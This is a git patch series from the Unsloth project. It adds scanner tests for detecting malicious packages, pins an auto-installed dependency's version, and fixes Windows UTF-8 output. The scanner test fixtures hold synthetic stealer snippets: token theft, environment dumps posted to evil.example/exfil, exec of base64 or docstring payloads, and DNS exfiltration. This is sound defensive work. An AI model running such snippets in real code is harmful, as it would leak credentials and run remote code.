pins the .pth content via a digest. + a = [ + f + for f in sp.check_pth_file("import abc; n=" + repr("!" * 500), "p/x.pth", "p") + if f.check.startswith("Unusually large executable .pth") + ] + b = [ + f + for f in sp.check_pth_file("import xyz; n=" + repr("?" * 500), "p/x.pth", "p") + if f.check.startswith("Unusually large executable .pth") + ] + assert a and b + assert "sha256:" in a[0].evidence + assert sp._finding_key(a[0]) != sp._finding_key(b[0]) + + +def test_js_token_network_finding_binds_network_evidence(): + # The JS stealer combo records both the token AND the network call, so a + # changed exfil endpoint reopens (RE_NETWORK-recognized call used here). + old = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n" + new = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://evil.example');\n" + fo = [f for f in sp.check_js_file(old, "p/p.js", "p") if "stealer" in f.check] + fn = [f for f in sp.check_js_file(new, "p/p.js", "p") if "stealer" in f.check] + assert fo and fn + assert "Network:" in fo[0].evidence + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_embedded_pem_key_body_change_reopens(): + # The embedded-key evidence pins the full PEM block via a digest, so swapping + # the key body under the same BEGIN/END markers reopens the finding instead + # of riding the unchanged marker line. + head = "-----BEGIN RSA PRIVATE KEY-----\n" + tail = "\n-----END RSA PRIVATE KEY-----" + net = "\nrequests.get('http://c2.example')\n" + old = f"k = '''{head}MIIoldAAAAAAAAAAAAAAAAAAAA{tail}'''{net}" + new = f"k = '''{head}MIInewBBBBBBBBBBBBBBBBBBBB{tail}'''{net}" + fo = [ + f + for f in sp.check_py_file(old, "p/k.py", "p") + if f.check.startswith("Embedded cryptographic key + network") + ] + fn = [ + f + for f in sp.check_py_file(new, "p/k.py", "p") + if f.check.startswith("Embedded cryptographic key + network") + ] + assert fo and fn + assert "sha256:" in fo[0].evidence + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_shell_combos_bind_network_evidence(): + # Both shell combos record their network/exec side, so a changed endpoint + # reopens instead of riding the unchanged token or hook line. + old = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://old.example')\n" + new = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://evil.example')\n" + to = [ + f + for f in sp.check_shell_file(old, "p/i.sh", "p") + if f.check == "Shell embeds credential regexes AND makes network calls" + ] + tn = [ + f + for f in sp.check_shell_file(new, "p/i.sh", "p") + if f.check == "Shell embeds credential regexes AND makes network calls" + ] + assert to and tn + assert sp._finding_key(to[0]) != sp._finding_key(tn[0]) + ho = "SessionStart hook installed\nrequests.get('http://old.example')\n" + hn = "SessionStart hook installed\nrequests.get('http://evil.example')\n" + go = [ + f + for f in sp.check_shell_file(ho, "p/i.sh", "p") + if f.check.startswith("Shell installs developer-tool") + ] + gn = [ + f + for f in sp.check_shell_file(hn, "p/i.sh", "p") + if f.check.startswith("Shell installs developer-tool") + ] + assert go and gn + assert "Hook:" in go[0].evidence + assert sp._finding_key(go[0]) != sp._finding_key(gn[0]) + + +def test_hidden_network_exec_reopens_on_endpoint_change(): + # The hidden network+exec payload binds both the network and the exec signal, + # so changing the docstring exfil URL reopens the finding. + old = ( + '"""\nimport urllib.request, os\nurllib.request.urlopen("http://old/x").read()\n' + 'os.system("sh -c id")\n"""\nexec(__doc__)\n' + ) + new = ( + '"""\nimport urllib.request, os\nurllib.request.urlopen("http://evil/x").read()\n' + 'os.system("sh -c id")\n"""\nexec(__doc__)\n' + ) + fo = [f for f in sp.check_py_file(old, "p/d.py", "p") if "hidden network+exec" in f.check] + fn = [f for f in sp.check_py_file(new, "p/d.py", "p") if "hidden network+exec" in f.check] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_base64_exec_blob_combo_binds_blob_digest(): + # The blob may sit on a separate line from the decode call; the finding now + # digests it, so a changed payload reopens even with unchanged base64/exec. + b1 = "BLOB = '" + "A" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n" + b2 = "BLOB = '" + "B" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n" + f1 = [f for f in sp.check_py_file(b1, "p/m.py", "p") if "large encoded blob" in f.check] + f2 = [f for f in sp.check_py_file(b2, "p/m.py", "p") if "large encoded blob" in f.check] + assert f1 and f2 + assert "Blob: sha256:" in f1[0].evidence + assert sp._finding_key(f1[0]) != sp._finding_key(f2[0]) + + +def test_openssl_key_combo_binds_key_evidence(): + # openssl + embedded key with no network must bind the key, so a changed key + # reopens instead of riding the OpenSSL line alone. + o1 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----A"\n' + o2 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----B"\n' + g1 = [f for f in sp.check_py_file(o1, "p/o.py", "p") if "openssl encryption" in f.check] + g2 = [f for f in sp.check_py_file(o2, "p/o.py", "p") if "openssl encryption" in f.check] + assert g1 and g2 + assert "Key:" in g1[0].evidence + assert sp._finding_key(g1[0]) != sp._finding_key(g2[0]) + + +def test_anti_analysis_combo_binds_suspicious_side(): + # The anti-analysis combo records the network/exec side, so a changed exfil + # endpoint reopens instead of riding the unchanged sleep/trace line. + old = "import time, requests\ntime.sleep(600)\nrequests.get('http://old.example')\n" + new = "import time, requests\ntime.sleep(600)\nrequests.get('http://evil.example/exfil')\n" + fo = [ + f + for f in sp.check_py_file(old, "p/x.py", "p") + if f.check == "Anti-analysis/sandbox evasion + suspicious behavior" + ] + fn = [ + f + for f in sp.check_py_file(new, "p/x.py", "p") + if f.check == "Anti-analysis/sandbox evasion + suspicious behavior" + ] + assert fo and fn + assert "Network:" in fo[0].evidence + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_dns_exfil_combo_binds_other_side(): + # The DNS exfil combo records the co-occurring network side, so a changed + # endpoint reopens instead of riding the unchanged DNS line. + old = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://old.example')\n" + new = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://evil.example/x')\n" + fo = [ + f + for f in sp.check_py_file(old, "p/d.py", "p") + if f.check == "DNS exfiltration / tunneling patterns" + ] + fn = [ + f + for f in sp.check_py_file(new, "p/d.py", "p") + if f.check == "DNS exfiltration / tunneling patterns" + ] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_large_js_bundle_finding_is_content_bound(): + # A large benign JS bundle yields a HIGH carrying a content digest, not empty + # evidence: two different bundles in the same size bucket get different keys, + # so a malicious bundle cannot ride a baselined empty-evidence entry. + big_a = "var x = 1;\n" * 20000 # ~200 KB, benign + big_b = big_a + "var exfil = 2;\n" # different content, same size bucket + ja = [f for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg") if "JS bundle" in f.check] + jb = [f for f in sp.check_js_file(big_b, "pkg/bundle.js", "pkg") if "JS bundle" in f.check] + assert ja and jb, "large JS bundle must produce a finding" + assert ja[0].evidence.startswith("sha256:") + assert sp._finding_key(ja[0]) != sp._finding_key(jb[0]) + + +def test_pth_large_blob_finding_is_content_bound(): + # The .pth base64-blob evidence pins the full blob via a digest, so a payload + # that keeps the first 120 chars but changes the tail reopens the finding. + head = "A" * 120 + a = [ + f + for f in sp.check_pth_file("import os\n" + head + "B" * 200, "p/x.pth", "p") + if "base64-like blob" in f.check + ] + b = [ + f + for f in sp.check_pth_file("import os\n" + head + "C" * 200, "p/x.pth", "p") + if "base64-like blob" in f.check + ] + assert a and b, "large .pth blob must produce a finding" + assert "sha256:" in a[0].evidence + assert sp._finding_key(a[0]) != sp._finding_key(b[0]) + + +def test_pth_import_lines_record_all_not_first_five(): + # All executable import lines are recorded, so swapping the sixth import for a + # malicious one (first five unchanged) still reopens the catch-all finding. + base = "".join(f"import mod{i}\n" for i in range(6)) + swapped = "".join(f"import mod{i}\n" for i in range(5)) + "import evil\n" + fb = [f for f in sp.check_pth_file(base, "p/x.pth", "p") if "executable import line" in f.check] + fs = [ + f for f in sp.check_pth_file(swapped, "p/x.pth", "p") if "executable import line" in f.check + ] + assert fb and fs + assert sp._finding_key(fb[0]) != sp._finding_key(fs[0]) + + +def test_load_baseline_warns_on_missing_evidence_hash(tmp_path, capsys): + # A legacy baseline predating evidence_hash still loads (hash recomputed) but + # must WARN so the maintainer regenerates rather than degrade silently. + import json + + bl = tmp_path / "legacy.json" + bl.write_text( + json.dumps( + { + "version": 1, + "entries": [ + { + "package": "p", + "file": "p/x.py", + "check": "c", + "severity": sp.CRITICAL, + "evidence": "L5: while True:", + } + ], + } + ) + ) + keys = sp._load_baseline(str(bl)) + assert keys # still loaded + assert "lack evidence_hash" in capsys.readouterr().err + + def test_fstring_statement_is_not_blanked(): # A bare f-string evaluates at import, so it must stay scannable. src = "f\"{__import__('os').system('id')}\"\n" @@ -417,11 +1178,17 @@ def test_comment_only_network_exec_not_flagged(): def test_baseline_suppresses_listed_but_not_new_check(tmp_path): bl = tmp_path / "bl.json" - listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected") + listed = _mk( + sp.CRITICAL, + "fastapi", + "fastapi/routing.py", + "C2 polling/beaconing loop detected", + "L579: while True:", + ) sp._write_baseline(str(bl), [listed]) baseline = sp._load_baseline(str(bl)) - # Same (package, basename, check) -> suppressed. + # Same (package, path, check, matched code) -> suppressed. active, suppressed = sp._partition_baseline([listed], baseline) assert suppressed == [listed] and active == [] @@ -432,6 +1199,29 @@ def test_baseline_suppresses_listed_but_not_new_check(tmp_path): active2, suppressed2 = sp._partition_baseline([new_kind], baseline) assert active2 == [new_kind] and suppressed2 == [] + # Same file + same check but CHANGED flagged code -> still active. A future + # malicious payload cannot ride a previously reviewed entry's suppression. + changed_code = _mk( + sp.CRITICAL, + "fastapi", + "fastapi/routing.py", + "C2 polling/beaconing loop detected", + "L579: while True: requests.get('http://c2.example/beacon')", + ) + active3, suppressed3 = sp._partition_baseline([changed_code], baseline) + assert active3 == [changed_code] and suppressed3 == [] + + # A benign line shift of the SAME code stays suppressed (no version churn). + shifted = _mk( + sp.CRITICAL, + "fastapi", + "fastapi/routing.py", + "C2 polling/beaconing loop detected", + "L640: while True:", + ) + active4, suppressed4 = sp._partition_baseline([shifted], baseline) + assert suppressed4 == [shifted] and active4 == [] + def test_write_baseline_roundtrip_only_crit_high(tmp_path): bl = tmp_path / "bl.json" @@ -451,6 +1241,72 @@ def test_load_baseline_missing_file_is_empty(): assert sp._load_baseline("/nonexistent/path/bl.json") == set() +def test_load_baseline_rejects_non_list_entries(tmp_path, capsys): + # A malformed baseline whose "entries" is not a list must warn and fail + # closed (empty), not raise TypeError when iterated. + import json + + bl = tmp_path / "bad_entries.json" + bl.write_text(json.dumps({"version": 1, "entries": None}), encoding = "utf-8") + assert sp._load_baseline(str(bl)) == set() + assert "entries is not a list" in capsys.readouterr().err + + +def test_committed_baseline_suppresses_known_but_not_a_new_payload(): + """End-to-end against the shipped allowlist: a reviewed benign finding stays + suppressed, but a NEW malicious payload in the same baselined file/check is + not (closes the supply-chain bypass where a future botocore/utils.py payload + rode the existing CRITICAL entry).""" + import json + + baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json" + entries = json.loads(baseline_path.read_text())["entries"] + target = next( + e + for e in entries + if e["package"] == "botocore" + and e["file"] == "botocore/utils.py" + and e["check"] == "Harvests environment variables/secrets AND makes network calls" + ) + baseline = sp._load_baseline(str(baseline_path)) + + # The exact reviewed finding is suppressed. + benign = _mk( + target["severity"], target["package"], target["file"], target["check"], target["evidence"] + ) + active, suppressed = sp._partition_baseline([benign], baseline) + assert suppressed == [benign] and active == [] + + # A future malicious version: same file, same check, new exfil code. Must + # remain ACTIVE so the enforcing gate (exit 1) still trips. + malicious = _mk( + target["severity"], + target["package"], + target["file"], + target["check"], + "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)", + ) + active2, suppressed2 = sp._partition_baseline([malicious], baseline) + assert active2 == [malicious] and suppressed2 == [] + + +def test_committed_baseline_entries_all_carry_evidence_hash(): + """Every shipped entry must pin an evidence_hash; an entry without one would + silently fall back to the coarse legacy match for that file/check.""" + import json + + baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json" + entries = json.loads(baseline_path.read_text())["entries"] + assert entries, "committed baseline should not be empty" + missing = [ + f"{e['package']}:{e['file']}:{e['check']}" for e in entries if not e.get("evidence_hash") + ] + assert not missing, f"entries missing evidence_hash: {missing[:5]}" + # And each pinned hash matches a recompute from the stored evidence. + for e in entries: + assert e["evidence_hash"] == sp._evidence_hash(e["evidence"]), e["file"] + + # sdist fallback: cover sdist-only packages without building. All offline # -- PyPI JSON / download are mocked. From ec4c044e70345138448cab5362f106e0577837ed Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 1 Jul 2026 04:48:38 -0700 Subject: [PATCH 03/27] Pin llm-compressor auto-install to a vetted version range (#6778) * Pin llm-compressor auto-install to a vetted version range install_llm_compressor() auto-installs llm-compressor on first use of an FP8/FP4 compressed export when it is not already present. The install command used the bare package name, so pip resolved to whatever the configured index served; a compromised, dependency-confused, or inflated-version ("999.0.0") release could then run under the Unsloth process at install and import time. Bound the automatic install to a vetted range (_LLM_COMPRESSOR_SPEC = "llmcompressor>=0.8.0,<0.13"), which the oneshot / QuantizationModifier API this uses supports, so pip can no longer jump to an arbitrary future or inflated version. An already-installed newer llm-compressor is still used as-is (the import short-circuits), so this only constrains the auto-install, never a user's own install. Add UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL=1 to forbid the automatic install entirely and require a manual, vetted install, for locked-down or air-gapped environments. Update the manual-install hints to the pinned spec. Add tests/saving/test_llm_compressor_install_pin.py: static (ast) guards that the spec stays a bounded pin, that the install command never passes an unpinned llmcompressor literal, and that the opt-out env gate is evaluated before any install runs. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Loosen llm-compressor auto-install ceiling to <1.0 so new models still export The earlier <0.13 ceiling was too tight: brand-new architectures (for example Qwen3_5ForConditionalGeneration / qwen3_5, gemma-4 MoE) can require a newer llm-compressor, and _unsloth_save_compressed_tensors already fails with "requires a newer llm-compressor" when a scheme is unavailable. Capping the auto-install at 0.12 would block getting that newer release and break compressed export for new models. Widen to llmcompressor>=0.8.0,<1.0. pip still auto-installs the latest 0.x (where new-architecture support lands), while the <1.0 ceiling continues to block a jump to an inflated-version ("999.0.0") or 1.0+ dependency-confusion release. An already-installed newer llm-compressor is still used as-is (the import short-circuits), and UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL still forbids the automatic install entirely for locked-down environments. * Lower llm-compressor floor to 0.6.0 so supported old torch still resolves The >=0.8.0 floor conflicts with the torch this install pins in its constraints file. Unsloth supports torch>=2.4, but llm-compressor 0.7.0+ require torch>=2.7 (0.10+ need >=2.9, 0.12+ need >=2.10). On a supported torch 2.4-2.6 box pip then has no candidate in [0.8.0, 1.0) and FP8/FP4 export fails before quantization. Lower the floor to 0.6.0 (its metadata only needs torch>=1.7), which never conflicts with any supported torch. pip still prefers the newest compatible release, so modern torch continues to get the latest 0.x (0.12.0). The <1.0 ceiling that blocks an inflated-version supply-chain jump is unchanged. Add a regression test asserting the floor stays <= 0.6.0. * Cap llm-compressor auto-install ceiling to a vetted minor (<0.13) A bare <1.0 ceiling still admits any 0.x, so an inflated "0.999.0" served by a compromised or misconfigured index would win pip's highest-version selection -- the same dependency-confusion this pin is meant to block. Cap the ceiling to the current vetted minor (<0.13) so that jump is blocked; bump it deliberately, after vetting, when a newer llm-compressor is needed (e.g. for a brand-new architecture scheme). Current new models are unaffected: 0.12.0 is < 0.13 and supports them. The 0.6.0 floor (torch>=1.7 compatible) is unchanged, so resolution still works across Unsloth's whole supported torch range (2.4 -> 0.6.0 ... 2.12 -> 0.12.0). Add a regression test asserting the ceiling admits the current vetted release but blocks an inflated 0.x and the next major. * Trim comments in the llm-compressor pin (comment-only, no code change) * Cap llm-compressor auto-install to the exact vetted patch (<=0.12.0) * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- .../saving/test_llm_compressor_install_pin.py | 112 ++++++++++++++++++ unsloth/save.py | 38 ++++-- 2 files changed, 142 insertions(+), 8 deletions(-) create mode 100644 tests/saving/test_llm_compressor_install_pin.py diff --git a/tests/saving/test_llm_compressor_install_pin.py b/tests/saving/test_llm_compressor_install_pin.py new file mode 100644 index 0000000000..c2ddfb14e2 --- /dev/null +++ b/tests/saving/test_llm_compressor_install_pin.py @@ -0,0 +1,112 @@ +"""Static guards (no import/network/GPU, like test_save_shell_injection.py) that +install_llm_compressor()'s first-use auto-install of llm-compressor stays version-pinned to a vetted +range and keeps its opt-out env gate, so a compromised/inflated release can't be auto-pulled.""" + +from __future__ import annotations + +import ast +from pathlib import Path + +SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py" + +_ENV_FLAG = "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL" + + +def _module() -> ast.Module: + return ast.parse(SAVE_PY.read_text(encoding = "utf-8"), filename = str(SAVE_PY)) + + +def _get_function(name: str) -> ast.FunctionDef: + for node in ast.walk(_module()): + if isinstance(node, ast.FunctionDef) and node.name == name: + return node + raise AssertionError(f"Function {name} not found in save.py") + + +def _spec_value(): + for node in ast.walk(_module()): + if isinstance(node, ast.Assign) and isinstance(node.value, ast.Constant): + if any( + isinstance(t, ast.Name) and t.id == "_LLM_COMPRESSOR_SPEC" for t in node.targets + ): + return node.value.value + return None + + +def _first_lineno(fn: ast.AST, predicate) -> int | None: + lines = [n.lineno for n in ast.walk(fn) if predicate(n) and hasattr(n, "lineno")] + return min(lines) if lines else None + + +def test_spec_is_a_bounded_pin() -> None: + spec = _spec_value() + assert spec is not None, "_LLM_COMPRESSOR_SPEC must be defined at module scope" + assert "llmcompressor" in spec, f"spec must name llmcompressor, got {spec!r}" + # A lower and an upper bound: pip cannot jump to an arbitrary (e.g. inflated) future release. + assert ">=" in spec and "<" in spec, f"spec must have lower and upper bounds, got {spec!r}" + + +def test_ceiling_blocks_inflated_versions() -> None: + """Cap to the exact vetted patch: block an inflated 0.x, a new major, and any higher in-range patch.""" + from packaging.requirements import Requirement + + spec = Requirement(_spec_value()).specifier + assert spec.contains("0.12.0"), "the current vetted release must resolve" + assert not spec.contains("0.999.0"), "an inflated 0.x must be blocked" + assert not spec.contains("1.0.0"), "a new major must not be auto-installed" + assert not spec.contains( + "0.12.1" + ), "a higher in-range patch must be blocked (cap to the vetted patch)" + assert not spec.contains( + "0.12.999" + ), "a crafted higher in-range patch (e.g. on a mirror) must be blocked" + + +def test_floor_stays_compatible_with_supported_torch() -> None: + """Floor must stay <=0.6.0: 0.7+ need torch>=2.7, but the pinned torch can be as old as 2.4.""" + from packaging.requirements import Requirement + from packaging.version import Version + + req = Requirement(_spec_value()) + lowers = [Version(s.version) for s in req.specifier if s.operator in (">=", "==", "~=")] + assert lowers, "spec must declare a lower bound" + assert max(lowers) <= Version("0.6.0"), ( + f"floor {max(lowers)} requires a torch newer than Unsloth's minimum (2.4); " + "llm-compressor >0.6.0 needs torch>=2.7. Keep the floor <= 0.6.0." + ) + + +def test_install_command_uses_pinned_spec_not_bare_name() -> None: + fn = _get_function("install_llm_compressor") + # No argv list may pass the bare, unpinned package literal "llmcompressor". + for node in ast.walk(fn): + if isinstance(node, ast.List): + for elt in node.elts: + if isinstance(elt, ast.Constant) and elt.value == "llmcompressor": + raise AssertionError( + "install command must not pass an unpinned 'llmcompressor' literal; " + "use the bounded _LLM_COMPRESSOR_SPEC" + ) + names = {n.id for n in ast.walk(fn) if isinstance(n, ast.Name)} + assert "_LLM_COMPRESSOR_SPEC" in names, "install command must reference _LLM_COMPRESSOR_SPEC" + + +def test_optout_env_gate_precedes_subprocess_install() -> None: + fn = _get_function("install_llm_compressor") + env_line = _first_lineno(fn, lambda n: isinstance(n, ast.Constant) and n.value == _ENV_FLAG) + assert env_line is not None, f"{_ENV_FLAG} opt-out must be checked in install_llm_compressor" + + def _is_check_call(n: ast.AST) -> bool: + return ( + isinstance(n, ast.Call) + and isinstance(n.func, ast.Attribute) + and n.func.attr == "check_call" + and isinstance(n.func.value, ast.Name) + and n.func.value.id == "subprocess" + ) + + install_line = _first_lineno(fn, _is_check_call) + assert install_line is not None, "expected a subprocess.check_call install in the function" + assert ( + env_line < install_line + ), "the auto-install opt-out must be evaluated before any package install runs" diff --git a/unsloth/save.py b/unsloth/save.py index 76bc6aa733..226ca5fed8 100644 --- a/unsloth/save.py +++ b/unsloth/save.py @@ -1363,11 +1363,18 @@ def install_python_non_blocking(packages = []): return run_installer +# Bound the first-use auto-install so no unvetted release is pulled: not an inflated "0.999.0", nor +# a crafted higher in-range patch like "0.12.999" from a mirror. Cap to the exact vetted patch and +# bump deliberately. Floor 0.6.0 keeps torch>=2.4 resolvable (0.7+ need torch>=2.7; torch pinned below). +_LLM_COMPRESSOR_SPEC = "llmcompressor>=0.6.0,<=0.12.0" + + def install_llm_compressor(): """Import llm-compressor, installing it on first use for FP8/FP4 export. - Pins the current torch + transformers so pip does not upgrade them (a plain install pulls - transformers>=5 and breaks Unsloth). Returns (oneshot, QuantizationModifier). + Installs a version-pinned llm-compressor, pinning the current torch + transformers so pip does + not upgrade them. Set UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL=1 to forbid the auto-install. + Returns (oneshot, QuantizationModifier). """ try: from llmcompressor import oneshot @@ -1376,9 +1383,24 @@ def install_llm_compressor(): except Exception: pass + # Opt-out for locked-down / air-gapped setups: forbid the auto-install, require a manual one. + if os.environ.get("UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL", "0").lower() not in ( + "0", + "", + "false", + "no", + ): + raise RuntimeError( + "Unsloth: llm-compressor is required for FP8/FP4 compressed export but is not " + "installed, and automatic installation is disabled via " + "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL. Install it manually with:\n" + f" uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n" + "(pin torch and transformers to your current versions to avoid upgrading them)." + ) + print( "Unsloth: Installing llm-compressor for FP8/FP4 export " - "(pinning your torch + transformers so they are not upgraded). " + f"({_LLM_COMPRESSOR_SPEC}; pinning your torch + transformers so they are not upgraded). " "This can take a few minutes..." ) import importlib @@ -1401,13 +1423,13 @@ def install_llm_compressor(): import importlib.util if importlib.util.find_spec("pip") is not None: - cmd = [sys.executable, "-m", "pip", "install", "llmcompressor"] + cmd = [sys.executable, "-m", "pip", "install", _LLM_COMPRESSOR_SPEC] elif shutil.which("uv") is not None: - cmd = ["uv", "pip", "install", "--python", sys.executable, "llmcompressor"] + cmd = ["uv", "pip", "install", "--python", sys.executable, _LLM_COMPRESSOR_SPEC] else: raise RuntimeError( "Unsloth: cannot install llm-compressor because this environment has neither pip nor " - f"uv. Install it manually with:\n uv pip install --python {sys.executable} llmcompressor\n" + f"uv. Install it manually with:\n uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n" "(pin torch and transformers to your current versions to avoid upgrading them)." ) cpath = None @@ -1421,8 +1443,8 @@ def install_llm_compressor(): except subprocess.CalledProcessError as e: raise RuntimeError( "Unsloth: Failed to install llm-compressor. Install it manually with:\n" - f" uv pip install --python {sys.executable} llmcompressor\n" - f"or, if pip is available:\n {sys.executable} -m pip install llmcompressor\n" + f" uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n" + f"or, if pip is available:\n {sys.executable} -m pip install '{_LLM_COMPRESSOR_SPEC}'\n" "(pin torch and transformers to your current versions to avoid upgrading them).\n" f"Underlying error: {e}" ) From 482d7970f90ce5784b9a238edbdbea73dde36cbe Mon Sep 17 00:00:00 2001 From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com> Date: Wed, 1 Jul 2026 13:47:33 +0100 Subject: [PATCH 04/27] Fix Windows Studio UTF-8 startup handling (#6614) Extracted and narrowed from unslothai/unsloth#6543 by @TheJagStudio. This keeps the startup/banner and text file encoding hardening separate from the already-merged Python code-exec UTF-8 fix in #6548. Co-authored-by: Jagrat Patel <81472856+TheJagStudio@users.noreply.github.com> --- studio/backend/core/training/trainer.py | 4 +- studio/backend/main.py | 12 ++++++ studio/backend/startup_banner.py | 20 +++++++-- .../tests/test_startup_banner_loopback.py | 41 +++++++++++++++++++ unsloth_cli/commands/chat.py | 2 +- unsloth_cli/commands/studio.py | 2 +- 6 files changed, 73 insertions(+), 8 deletions(-) diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py index 6f55daee39..20b2305a5a 100644 --- a/studio/backend/core/training/trainer.py +++ b/studio/backend/core/training/trainer.py @@ -3672,7 +3672,7 @@ class UnslothTrainer: return try: - with open(config_path, "r") as f: + with open(config_path, "r", encoding = "utf-8") as f: config = json.load(f) # Determine training method @@ -3686,7 +3686,7 @@ class UnslothTrainer: config["unsloth_training_method"] = method logger.info(f"Patching adapter_config.json with unsloth_training_method='{method}'") - with open(config_path, "w") as f: + with open(config_path, "w", encoding = "utf-8") as f: json.dump(config, f, indent = 2) except Exception as e: diff --git a/studio/backend/main.py b/studio/backend/main.py index 0a5b775775..8b8a5fe787 100644 --- a/studio/backend/main.py +++ b/studio/backend/main.py @@ -24,6 +24,18 @@ os.environ["PYTHONWARNINGS"] = "ignore" # process is covered before its heavy ML imports. os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID") +# Windows terminals default to the active system code page. Reconfigure +# stdout/stderr before the startup banner so non-ASCII output cannot crash the +# backend process. +if sys.platform == "win32": + for _win_stream in (sys.stdout, sys.stderr): + if _win_stream is not None and hasattr(_win_stream, "reconfigure"): + try: + _win_stream.reconfigure(encoding = "utf-8", errors = "replace") + except Exception: + pass + del _win_stream + # ── Windows AMD ROCm DLL injection ────────────────────────────────────────── # Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with # os.add_dll_directory() so amdhip64.dll etc. are found before any torch import. diff --git a/studio/backend/startup_banner.py b/studio/backend/startup_banner.py index 13d6f8ef5e..ea951a4325 100644 --- a/studio/backend/startup_banner.py +++ b/studio/backend/startup_banner.py @@ -12,6 +12,18 @@ import os import sys +def _safe_print(text: str) -> None: + """Print text without crashing on terminals that cannot encode Unicode.""" + try: + print(text) + except UnicodeEncodeError: + encoding = getattr(sys.stdout, "encoding", None) or "ascii" + try: + print(text.encode(encoding, errors = "replace").decode(encoding)) + except LookupError: + print(text.encode("ascii", errors = "replace").decode("ascii")) + + def stdout_supports_color() -> bool: """True if we should emit ANSI colors.""" if os.environ.get("NO_COLOR", "").strip(): @@ -28,9 +40,9 @@ def print_port_in_use_notice(original_port: int, new_port: int) -> None: """Message when the requested port is taken and another is chosen.""" msg = f"Port {original_port} is in use, using port {new_port} instead." if stdout_supports_color(): - print(f"\033[38;5;245m{msg}\033[0m") + _safe_print(f"\033[38;5;245m{msg}\033[0m") else: - print(msg) + _safe_print(msg) def print_studio_stop_hint() -> None: @@ -44,7 +56,7 @@ def print_studio_stop_hint() -> None: def style(text: str, code: str) -> str: return f"{code}{text}{reset}" if use_color else text - print( + _safe_print( "\n".join( [ "", @@ -180,4 +192,4 @@ def print_studio_access_banner( ] ) - print("\n".join(lines)) + _safe_print("\n".join(lines)) diff --git a/studio/backend/tests/test_startup_banner_loopback.py b/studio/backend/tests/test_startup_banner_loopback.py index e82b741a7b..c8875bf5db 100644 --- a/studio/backend/tests/test_startup_banner_loopback.py +++ b/studio/backend/tests/test_startup_banner_loopback.py @@ -5,6 +5,9 @@ only for the exact loopback aliases, so any other bind (e.g. a specific LAN IP) must show its real address.""" +import io +import sys + import pytest from startup_banner import print_studio_access_banner @@ -22,3 +25,41 @@ def test_non_alias_loopback_shows_real_address(capsys): def test_alias_loopback_shows_canned_url(capsys, host): print_studio_access_banner(port = 8891, bind_host = host, display_host = host) assert "http://127.0.0.1:8891" in capsys.readouterr().out + + +def test_banner_prints_on_strict_cp1252_stdout(monkeypatch): + buf = io.BytesIO() + stdout = io.TextIOWrapper(buf, encoding = "cp1252", errors = "strict") + monkeypatch.setattr(sys, "stdout", stdout) + + print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1") + stdout.flush() + + out = buf.getvalue().decode("cp1252") + assert "? Unsloth Studio is running" in out + + +def test_banner_print_fallback_handles_unknown_stdout_encoding(monkeypatch): + class InvalidEncodingStdout: + encoding = "not-a-real-codec" + + def __init__(self): + self.buf = io.BytesIO() + self.inner = io.TextIOWrapper(self.buf, encoding = "cp1252", errors = "strict") + + def write(self, text): + return self.inner.write(text) + + def flush(self): + return self.inner.flush() + + def getvalue(self): + self.flush() + return self.buf.getvalue().decode("cp1252") + + stdout = InvalidEncodingStdout() + monkeypatch.setattr(sys, "stdout", stdout) + + print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1") + + assert "? Unsloth Studio is running" in stdout.getvalue() diff --git a/unsloth_cli/commands/chat.py b/unsloth_cli/commands/chat.py index a483aeeb6c..d3bfbbf96b 100644 --- a/unsloth_cli/commands/chat.py +++ b/unsloth_cli/commands/chat.py @@ -71,7 +71,7 @@ def _get_base_load_in_4bit(model_config) -> bool: if not adapter_cfg_path.exists(): return True - with open(adapter_cfg_path) as f: + with open(adapter_cfg_path, encoding = "utf-8") as f: adapter_cfg = json.load(f) training_method = adapter_cfg.get("unsloth_training_method") diff --git 